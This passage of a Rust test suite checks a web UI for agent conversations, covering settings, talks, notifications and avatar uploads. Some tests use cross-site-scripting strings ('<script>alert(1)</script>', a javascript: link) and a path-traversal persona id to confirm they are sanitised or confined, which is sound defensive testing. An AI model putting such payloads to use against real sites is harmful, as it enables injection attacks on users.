12166 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
12167 }
12168 }
12169
12170 #[tokio::test]
12171 async fn settings_put_refuses_without_touching_the_file() {
12172 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
12173 let (_tmp, repo, machine) = settings_dirs(
12174 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
12175 Some(machine_text),
12176 );
12177 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
12178 let rev = f.get("/api/settings").await.json()["revision"]
12179 .as_str()
12180 .expect("revision")
12181 .to_owned();
12182 for roles in [
12183 serde_json::json!({ "judges": ["nope"] }),
12184 serde_json::json!({ "reviewers": ["b"] }),
12185 serde_json::json!({ "bogus": ["a"] }),
12186 ] {
12187 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
12188 let res = f.put("/api/settings/roles", &body).await;
12189 assert_eq!(res.status, 422, "{roles}: {}", res.body);
12190 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
12191 assert_eq!(
12192 std::fs::read_to_string(&machine).expect("machine"),
12193 machine_text
12194 );
12195 }
12196 }
12197
12198 #[tokio::test]
12199 async fn repos_list_returns_name_and_path_for_every_configured_root() {
12200 let tmp = TempDir::new().expect("tempdir");
12201 let repo = tmp.path().join("repo");
12202 std::fs::create_dir_all(&repo).expect("repo dir");
12203 let root = tmp.path().join("root");
12204 make_checkout(&root, "github.com", "yukimemi", "magi");
12205 std::fs::write(
12206 repo.join("magi.toml"),
12207 format!(
12208 "[repos]\nroots = [{:?}]\n",
12209 root.to_string_lossy().into_owned()
12210 ),
12211 )
12212 .expect("write magi.toml");
12213
12214 let f = Fixture::with_repo(repo).await;
12215 let res = f.get("/api/repos").await;
12216 assert_eq!(res.status, 200, "{}", res.body);
12217 let list = res.json();
12218 let repos = list.as_array().expect("an array");
12219 assert_eq!(repos.len(), 1);
12220 assert_eq!(repos[0]["name"], "yukimemi/magi");
12221 assert!(
12222 repos[0]["path"]
12223 .as_str()
12224 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
12225 "{list}"
12226 );
12227 }
12228
12229 #[tokio::test]
12230 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
12231 let tmp = TempDir::new().expect("tempdir");
12232 let repo = tmp.path().join("repo");
12233 std::fs::create_dir_all(&repo).expect("repo dir");
12234 let root = tmp.path().join("root");
12235 make_checkout(&root, "github.com", "yukimemi", "magi");
12236 std::fs::write(
12237 repo.join("magi.toml"),
12238 format!(
12239 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
12240 root.to_string_lossy().into_owned()
12241 ),
12242 )
12243 .expect("write magi.toml");
12244
12245 let f = Fixture::with_repo(repo).await;
12246 let first = f.get("/api/repos").await;
12247 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
12248
12249 make_checkout(&root, "github.com", "yukimemi", "rvpm");
12252 let second = f.get("/api/repos").await;
12253 assert_eq!(
12254 second.json().as_array().map(Vec::len),
12255 Some(1),
12256 "a fresh cache must not rescan inside the TTL"
12257 );
12258
12259 let refreshed = f.get("/api/repos?refresh=1").await;
12260 assert_eq!(
12261 refreshed.json().as_array().map(Vec::len),
12262 Some(2),
12263 "an explicit refresh must rescan even inside the TTL"
12264 );
12265 }
12266
12267 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
12273
12274 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
12278 let tmp = TempDir::new().expect("tempdir");
12279 let repo = tmp.path().join("repo");
12280 std::fs::create_dir_all(&repo).expect("repo dir");
12281 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12282 let f = Fixture::with_repo(repo.clone()).await;
12283 (tmp, repo, f)
12284 }
12285
12286 #[tokio::test]
12287 async fn posting_a_talk_with_remembered_choices_is_soft() {
12288 let (_tmp, _repo, f) = talk_fixture().await;
12289
12290 let good = f
12291 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
12292 .await;
12293 assert_eq!(good.status, 201, "{}", good.body);
12294 assert_eq!(good.json()["persona"], "rei");
12295
12296 let stale = f
12298 .post(
12299 "/api/talks",
12300 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
12301 )
12302 .await;
12303 assert_eq!(stale.status, 201, "{}", stale.body);
12304 let v = stale.json();
12305 assert_eq!(v["implementers"], 1);
12306 assert_ne!(v["persona"], "nobody");
12307 let typed = f
12308 .post(
12309 "/api/talks",
12310 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
12311 )
12312 .await;
12313 assert_eq!(typed.status, 201, "{}", typed.body);
12314
12315 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
12317 assert!(
12318 !strict.status.to_string().starts_with('2'),
12319 "{}",
12320 strict.body
12321 );
12322 }
12323
12324 #[tokio::test]
12325 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
12326 let (_tmp, _repo, f) = talk_fixture().await;
12327
12328 let opened = f.post("/api/talks", None).await;
12331 assert_eq!(opened.status, 201, "{}", opened.body);
12332 let body = opened.json();
12333 assert_eq!(body["status"], "open");
12334 assert_eq!(
12335 body["turns"].as_array().unwrap().len(),
12336 0,
12337 "opening takes no agent turn: there is nothing yet to answer"
12338 );
12339
12340 let also_opened = f.post("/api/talks", Some("{}")).await;
12342 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
12343
12344 let listed = f.get("/api/talks").await.json();
12345 assert_eq!(listed.as_array().unwrap().len(), 2);
12346 }
12347
12348 #[tokio::test]
12349 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
12350 let tmp = TempDir::new().expect("tempdir");
12351 let repo = tmp.path().join("repo");
12352 std::fs::create_dir_all(&repo).expect("repo dir");
12353 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
12354 std::fs::write(
12355 repo.join("magi.toml"),
12356 format!("{MOCK_AGENT_TOML}\n{second}"),
12357 )
12358 .expect("write magi.toml");
12359 let home = TempDir::new().expect("temp home");
12360 let talks = Talks::at(home.path().join("talks"));
12361 let ui = Arc::new(
12362 Ui::new(
12363 Queue::at(home.path().join("queue")),
12364 Questions::at(home.path().join("questions")),
12365 talks.clone(),
12366 home.path().join("runs"),
12367 home.path().to_path_buf(),
12368 repo.clone(),
12369 )
12370 .with_worktrees_root(home.path().join("wt")),
12371 );
12372 let cfg = config_for(&repo).await.expect("discover config");
12373 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12374 let id = talk.id.clone();
12375 let call = |agent: &str| {
12376 talk_agent(
12377 State(Arc::clone(&ui)),
12378 Path(id.clone()),
12379 Json(TalkAgent {
12380 agent: agent.to_owned(),
12381 }),
12382 )
12383 };
12384
12385 let unknown = call("nobody").await.expect_err("unknown agent");
12386 assert_eq!(
12387 unknown.status,
12388 StatusCode::BAD_REQUEST,
12389 "{}",
12390 unknown.message
12391 );
12392
12393 {
12394 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
12397 let busy = call("second").await.expect_err("busy talk");
12398 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
12399 assert!(
12400 busy.message.contains("a talk turn is running"),
12401 "{}",
12402 busy.message
12403 );
12404 drop(guard);
12405 }
12406 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
12407
12408 let Json(view) = call("second").await.expect("switch");
12409 assert_eq!(view.talk.agent, "second");
12410 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
12411 let saved = talks.get(&id).expect("reload");
12412 assert_eq!(saved.agent, "second");
12413 assert_eq!(saved.turns.len(), 1);
12414 assert!(!view.thinking);
12415 assert!(!ui.is_thinking(&id), "idle response must release the claim");
12416 for agent in ["mock", "second"] {
12417 let Json(view) = call(agent).await.expect("immediate consecutive change");
12418 assert_eq!(view.talk.agent, agent);
12419 assert!(!view.thinking);
12420 assert!(!ui.is_thinking(&id));
12421 }
12422
12423 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12424 .await
12425 .expect("detail");
12426 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
12427 assert_eq!(roster, ["mock", "second"]);
12428
12429 let mut closed = talks.get(&id).expect("reload");
12430 talk::close(&mut closed, &talks).expect("close");
12431 let refused = call("mock").await.expect_err("closed talk");
12432 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
12433 assert!(
12434 refused.message.contains("takes no more turns"),
12435 "{}",
12436 refused.message
12437 );
12438 }
12439
12440 #[tokio::test]
12441 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
12442 let tmp = TempDir::new().expect("tempdir");
12443 let repo = tmp.path().join("repo");
12444 std::fs::create_dir_all(&repo).expect("repo dir");
12445 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12446 let home = TempDir::new().expect("temp home");
12447 let talks = Talks::at(home.path().join("talks"));
12448 let ui = Arc::new(
12449 Ui::new(
12450 Queue::at(home.path().join("queue")),
12451 Questions::at(home.path().join("questions")),
12452 talks.clone(),
12453 home.path().join("runs"),
12454 home.path().to_path_buf(),
12455 repo.clone(),
12456 )
12457 .with_worktrees_root(home.path().join("wt")),
12458 );
12459 let cfg = config_for(&repo).await.expect("discover config");
12460 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12461 let id = talk.id.clone();
12462 let call = |n: u8| {
12463 talk_implementers(
12464 State(Arc::clone(&ui)),
12465 Path(id.clone()),
12466 Json(TalkImplementers { implementers: n }),
12467 )
12468 };
12469
12470 for bad in [0u8, 4] {
12471 let e = call(bad).await.expect_err("out of range");
12472 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
12473 }
12474 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
12475
12476 {
12477 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
12480 let busy = call(2).await.expect_err("busy talk");
12481 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
12482 assert!(
12483 busy.message.contains("a talk turn is running"),
12484 "{}",
12485 busy.message
12486 );
12487 drop(guard);
12488 }
12489
12490 let Json(view) = call(3).await.expect("switch");
12491 assert_eq!(view.talk.implementers, 3);
12492 assert!(talks.get(&id).expect("reload").implementers_dirty);
12493 assert!(!view.thinking);
12494 assert!(!ui.is_thinking(&id), "idle response must release the claim");
12495 for n in [1, 2, 3] {
12496 let Json(view) = call(n).await.expect("immediate consecutive change");
12497 assert_eq!(view.talk.implementers, n);
12498 assert!(!view.thinking);
12499 assert!(!ui.is_thinking(&id));
12500 }
12501
12502 let mut closed = talks.get(&id).expect("reload");
12503 talk::close(&mut closed, &talks).expect("close");
12504 let e = call(2).await.expect_err("closed talk");
12505 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
12506 assert!(e.message.contains("takes no more turns"), "{}", e.message);
12507 }
12508
12509 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
12511 let tmp = TempDir::new().expect("tempdir");
12512 let repo = tmp.path().join("repo");
12513 std::fs::create_dir_all(&repo).expect("repo dir");
12514 std::fs::write(
12515 repo.join("magi.toml"),
12516 format!("{MOCK_AGENT_TOML}\n{extra}"),
12517 )
12518 .expect("write magi.toml");
12519 let home = TempDir::new().expect("temp home");
12520 let talks = Talks::at(home.path().join("talks"));
12521 let ui = Arc::new(
12522 Ui::new(
12523 Queue::at(home.path().join("queue")),
12524 Questions::at(home.path().join("questions")),
12525 talks.clone(),
12526 home.path().join("runs"),
12527 home.path().to_path_buf(),
12528 repo.clone(),
12529 )
12530 .with_worktrees_root(home.path().join("wt")),
12531 );
12532 let cfg = config_for(&repo).await.expect("discover config");
12533 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12534 (tmp, home, ui, talk.id, repo)
12535 }
12536
12537 #[tokio::test]
12538 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
12539 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12540 let mut conversation = ui.talks.get(&id).unwrap();
12541 talk::record(
12542 &mut conversation,
12543 &ui.talks,
12544 "# Update on a task you filed\noperator words",
12545 vec![],
12546 )
12547 .unwrap();
12548 conversation.turns[0].sender = None;
12550 conversation.turns[0].messages.clear();
12551 ui.talks.put(&mut conversation).unwrap();
12552 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
12553 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
12554 talk::drain(&mut conversation, &ui.talks).unwrap();
12555 talk::record_reply(
12556 &mut conversation,
12557 &ui.talks,
12558 "about that report",
12559 vec![],
12560 Some(talk::ReplyTarget {
12561 turn: 1,
12562 message: 1,
12563 }),
12564 )
12565 .unwrap();
12566 conversation.turns[2].messages[0]
12567 .reply
12568 .as_mut()
12569 .unwrap()
12570 .sender = None;
12571 conversation.turns.push(talk::Turn {
12572 sender: Some(talk::Sender::Persona),
12573 who: talk::Who::Agent,
12574 body: "magi: actual persona words".into(),
12575 at: Timestamp::now(),
12576 attachments: vec![],
12577 usage: None,
12578 breaks: None,
12579 messages: vec![],
12580 posted_by: None,
12581 });
12582 ui.talks.put(&mut conversation).unwrap();
12583 let view = TalkView::with_config(
12584 ui.talks.get(&id).unwrap(),
12585 false,
12586 None,
12587 &ui.home,
12588 &ui.references,
12589 );
12590 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
12591 assert_eq!(
12592 view.talk.turns[1].messages[0].sender,
12593 Some(talk::Sender::Operator)
12594 );
12595 assert_eq!(
12596 view.talk.turns[1].messages[1].sender,
12597 Some(talk::Sender::Magi)
12598 );
12599 assert_eq!(
12600 view.talk.turns[2].messages[0]
12601 .reply
12602 .as_ref()
12603 .unwrap()
12604 .sender,
12605 Some(talk::Sender::Magi)
12606 );
12607 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
12608 assert_eq!(view.turn_messages_md[0].len(), 1);
12609 assert!(view.turn_messages_md[0][0].is_none());
12610 assert!(view.turn_messages_md[1][0].is_none());
12611 assert!(view.turn_messages_md[1][1].is_some());
12612 }
12613
12614 #[tokio::test]
12615 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
12616 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12617 let mut conversation = ui.talks.get(&id).unwrap();
12618 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
12619 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12620 talk::queue_notice(
12621 &mut conversation,
12622 &ui.talks,
12623 &body,
12624 "watch:123",
12625 &|_| false,
12626 None,
12627 display.clone(),
12628 )
12629 .unwrap();
12630 assert!(
12631 !talk::queue_notice(
12632 &mut conversation,
12633 &ui.talks,
12634 &body,
12635 "watch:123",
12636 &|_| false,
12637 None,
12638 display.clone()
12639 )
12640 .unwrap()
12641 );
12642 let saved = ui.talks.get(&id).unwrap();
12643 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
12644 let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
12645 assert!(
12646 view.talk.turns[0].messages[0].display.is_none(),
12647 "operator copy stays literal"
12648 );
12649 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
12650 assert!(view.turn_messages_md[0][0].is_none());
12651 let queued_md = view.pending_messages_md[0].clone();
12652 assert_eq!(
12653 queued_md,
12654 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
12655 );
12656 talk::drain(&mut conversation, &ui.talks).unwrap();
12657 talk::record_reply(
12658 &mut conversation,
12659 &ui.talks,
12660 "Explain",
12661 vec![],
12662 Some(talk::ReplyTarget {
12663 turn: 1,
12664 message: 0,
12665 }),
12666 )
12667 .unwrap();
12668 let mut saved = ui.talks.get(&id).unwrap();
12669 assert_eq!(saved.turns[1].messages[0].body, body);
12670 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
12671 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
12672 assert!(!reply.excerpt.contains("automatic report"));
12673 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
12676 let view = TalkView::with_config(
12677 ui.talks.get(&id).unwrap(),
12678 false,
12679 None,
12680 &ui.home,
12681 &ui.references,
12682 );
12683 assert_eq!(view.turn_messages_md[1][0], queued_md);
12684 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
12685 assert!(
12686 !view.talk.turns[2].messages[0]
12687 .reply
12688 .as_ref()
12689 .unwrap()
12690 .excerpt
12691 .contains("automatic report")
12692 );
12693 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
12694 }
12695
12696 #[tokio::test]
12697 async fn consultation_display_hides_directives_in_queue_and_history() {
12698 for node in [
12699 "implement",
12700 crate::land::APPROVAL_NODE,
12701 crate::github_text::ASK_NODE,
12702 ] {
12703 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12704 let mut question = Question::new(
12705 "run-123".into(),
12706 node.into(),
12707 "seat-1".into(),
12708 "Which backend?".into(),
12709 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
12710 vec!["SQLite".into(), "Redis".into()],
12711 );
12712 ui.questions.put(&mut question).unwrap();
12713 let body = crate::prompt::chat_consult(&question);
12714 let mut conversation = ui.talks.get(&id).unwrap();
12715 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12716 assert!(
12717 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
12718 );
12719 conversation = ui.talks.get(&id).unwrap();
12720 assert_eq!(conversation.pending_messages[0].body, body);
12721 assert!(body.contains("magi answer"));
12722 let mut legacy_pending = conversation.clone();
12723 legacy_pending.pending_messages[0].display = None;
12724 let legacy_view =
12725 TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
12726 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
12727 assert!(legacy_md.contains("Question consultation"));
12728 assert!(!legacy_md.contains("magi answer"));
12729 let view =
12730 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
12731 assert!(
12732 view.turn_messages_md[0][0].is_none(),
12733 "operator copy stays literal"
12734 );
12735 let queued_md = view.pending_messages_md[0].clone().unwrap();
12736 let rendered = serde_json::to_string(&queued_md).unwrap();
12737 for visible in [
12738 "Which backend?",
12739 "Context",
12740 "storage",
12741 "SQLite",
12742 "Redis",
12743 "<script>literal</script>",
12744 ] {
12745 assert!(rendered.contains(visible), "missing {visible}");
12746 }
12747 for directive in [
12748 "What to do",
12749 "magi answer",
12750 "Never answer it yourself",
12751 "Do not edit the repository",
12752 ] {
12753 assert!(!rendered.contains(directive), "exposed {directive}");
12754 }
12755 assert_eq!(
12756 view.talk.pending_messages[0].display,
12757 Some(crate::prompt::chat_consult_display(&question))
12758 );
12759 talk::drain(&mut conversation, &ui.talks).unwrap();
12760 let view =
12761 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
12762 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
12763 assert_eq!(conversation.turns[1].messages[0].body, body);
12764
12765 conversation.turns[1].messages[0].display = None;
12768 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
12769 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
12770 assert!(legacy.contains("Question consultation"));
12771 assert!(!legacy.contains("magi answer"));
12772 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
12773 }
12774 }
12775
12776 #[test]
12777 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
12778 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
12779 let (body, mut display) =
12780 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
12781 display.facts = facts.into();
12782 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
12783 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
12784 let json = serde_json::to_string(&nodes).unwrap();
12785 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
12786 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
12787 }
12788 assert!(json.contains("<script>alert(1)</script>"));
12789 assert!(!json.contains("javascript:"));
12790 assert!(!json.contains("Tell the operator"));
12791 assert!(!json.contains("untrusted"));
12792 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
12793 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
12794 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
12795 assert_eq!(
12796 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
12797 md::to_nodes("# Status", &md::ImageBase::None),
12798 );
12799 }
12800
12801 #[tokio::test]
12802 async fn notification_display_recovers_exact_legacy_completion_references() {
12803 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12804 let mut conversation = ui.talks.get(&id).unwrap();
12805 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
12806 id: "task-123",
12807 title: "Change",
12808 status: "done",
12809 reason: None,
12810 run: Some("run-123"),
12811 pr: None,
12812 summary: Some("Merge state unknown"),
12813 });
12814 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12815 conversation.turns[0].sender = None;
12816 conversation.turns[0].messages.clear();
12817 conversation.turns[0].breaks = None;
12818 conversation.pending = body.clone();
12819 conversation
12820 .completion_notices
12821 .push(crate::chat_notify::CompletionReference {
12822 task: "task-123".into(),
12823 run: Some("run-123".into()),
12824 notice: body.clone(),
12825 });
12826 ui.talks.put(&mut conversation).unwrap();
12827 let view = TalkView::with_config(
12828 ui.talks.get(&id).unwrap(),
12829 false,
12830 None,
12831 &ui.home,
12832 &ui.references,
12833 );
12834 assert_eq!(
12835 view.talk.turns[0].messages[0].display,
12836 Some(display.clone())
12837 );
12838 assert_eq!(view.talk.pending_messages[0].display, Some(display));
12839 assert_eq!(
12840 view.talk.turns[0].messages[0].sender,
12841 Some(talk::Sender::Magi)
12842 );
12843 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
12844 conversation.completion_notices[0]
12845 .notice
12846 .push_str("different");
12847 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
12848 assert!(view.talk.turns[0].messages.is_empty());
12849 assert!(view.talk.pending_messages.is_empty());
12850 }
12851
12852 #[tokio::test]
12853 async fn avatar_settings_report_states_and_inherit_after_corruption() {
12854 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
12855 let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
12856 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
12857 ))
12858 .await;
12859 let path = avatar_setting_path(home.path(), Some("rei"));
12860 let orphan = avatar_setting_path(home.path(), Some("removed"));
12861 save_icon_file(&orphan, icon).unwrap();
12862 for (saved, expected) in [
12863 (icon, "custom"),
12864 ("builtin", "builtin"),
12865 ("data:image/png;base64,!!!!", "inherit"),
12866 ("data:image/png;base64,PGh0bWw+", "inherit"),
12867 ("/tmp/avatar.png", "inherit"),
12868 ] {
12869 atomic_icon_write(&path, saved).unwrap();
12870 let catalog =
12871 avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
12872 .await
12873 .unwrap()
12874 .0;
12875 let personas = catalog["personas"].as_array().unwrap();
12876 let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
12877 assert_eq!(rei["override_state"], expected);
12878 assert_eq!(rei["has_config_icon"], true);
12879 assert_eq!(rei["is_orphan"], false);
12880 let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
12881 assert_eq!(removed["override_state"], "custom");
12882 assert_eq!(removed["is_orphan"], true);
12883 let default = personas.iter().find(|p| p["id"] == "default").unwrap();
12884 assert_eq!(default["override_state"], "inherit");
12885 assert_eq!(default["has_config_icon"], false);
12886 let effective = effective_persona_icon(home.path(), "rei", Some(icon));
12887 assert_eq!(
12888 effective.as_deref(),
12889 Some(if expected == "builtin" { "" } else { icon })
12890 );
12891 }
12892 }
12893
12894 #[tokio::test]
12895 async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
12896 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
12897 let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
12898 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
12899 ))
12900 .await;
12901 let target = |id: Option<&str>| AvatarSettingsQuery {
12902 persona: id.map(str::to_owned),
12903 ..Default::default()
12904 };
12905 let original_config = config_for(&repo).await.unwrap();
12906 let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
12907 let original_prompt = persona::section_for(&original_persona, None);
12908 let before = talk_detail(State(ui.clone()), Path(id.clone()))
12909 .await
12910 .unwrap()
12911 .0;
12912 for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
12913 let _ = avatar_settings_put(
12914 State(ui.clone()),
12915 Query(target(persona)),
12916 Json(MagiIconUpload { icon: icon.into() }),
12917 )
12918 .await
12919 .unwrap();
12920 let path = avatar_setting_path(home.path(), persona);
12921 assert!(path.starts_with(home.path().join("avatars")));
12922 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
12923 for bad in [
12924 "/tmp/image.png".to_owned(),
12925 "data:image/png;base64,!!!!".to_owned(),
12926 "data:image/png;base64,PGh0bWw+".to_owned(),
12927 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
12928 format!(
12929 "data:image/png;base64,{}",
12930 "A".repeat(persona_icon::ICON_MAX_BYTES)
12931 ),
12932 ] {
12933 assert!(
12934 avatar_settings_put(
12935 State(ui.clone()),
12936 Query(target(persona)),
12937 Json(MagiIconUpload { icon: bad })
12938 )
12939 .await
12940 .is_err()
12941 );
12942 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
12943 }
12944 }
12945 assert!(read_magi_icon(home.path()).is_none());
12946 assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
12947 let after = talk_detail(State(ui.clone()), Path(id.clone()))
12948 .await
12949 .unwrap()
12950 .0;
12951 assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
12952 assert_ne!(
12953 before
12954 .personas
12955 .iter()
12956 .find(|p| p.id == "magi")
12957 .unwrap()
12958 .avatar,
12959 after
12960 .personas
12961 .iter()
12962 .find(|p| p.id == "magi")
12963 .unwrap()
12964 .avatar
12965 );
12966 let restarted = Arc::new(Ui::new(
12967 Queue::at(home.path().join("queue")),
12968 Questions::at(home.path().join("questions")),
12969 Talks::at(home.path().join("talks")),
12970 home.path().join("runs"),
12971 home.path().to_owned(),
12972 repo,
12973 ));
12974 let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
12975 .await
12976 .unwrap()
12977 .0;
12978 assert!(
12979 catalog["personas"]
12980 .as_array()
12981 .unwrap()
12982 .iter()
12983 .any(|p| p["id"] == "../custom/日本語")
12984 );
12985 for expected in ["custom", "default", "rei"] {
12986 assert!(
12987 catalog["personas"]
12988 .as_array()
12989 .unwrap()
12990 .iter()
12991 .any(|p| p["id"] == expected)
12992 );
12993 }
12994 let response =
12995 operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
12996 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
12997 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
12998 .await
12999 .unwrap();
13000 assert_eq!(
13001 effective_persona_icon(home.path(), "rei", Some(icon)),
13002 Some(String::new())
13003 );
13004 let response = talk_avatar(
13005 State(restarted.clone()),
13006 Path(id.clone()),
13007 Query(AvatarQuery {
13008 persona: Some("rei".into()),
13009 ..Default::default()
13010 }),
13011 )
13012 .await
13013 .unwrap();
13014 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
13015 let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
13016 .await
13017 .unwrap()
13018 .0;
13019 assert_ne!(
13020 after
13021 .personas
13022 .iter()
13023 .find(|p| p.id == "rei")
13024 .unwrap()
13025 .avatar,
13026 reset
13027 .personas
13028 .iter()
13029 .find(|p| p.id == "rei")
13030 .unwrap()
13031 .avatar
13032 );
13033 let mut inherit = target(Some("rei"));
13034 inherit.inherit = Some("1".into());
13035 let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
13036 .await
13037 .unwrap();
13038 assert_eq!(
13039 effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
13040 Some(icon)
13041 );
13042 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
13043 .await
13044 .unwrap();
13045 assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
13046 assert_eq!(
13047 read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
13048 Some(icon)
13049 );
13050 let cfg = config_for(&ui.repo).await.unwrap();
13052 let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
13053 assert_eq!(persona::section_for(&resolved, None), original_prompt);
13054 assert!(!original_prompt.contains("data:image"));
13055 assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
13056 let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
13057 assert!(!stored.contains("data:image"));
13058 let mut orphan = ui.talks.get(&id).unwrap();
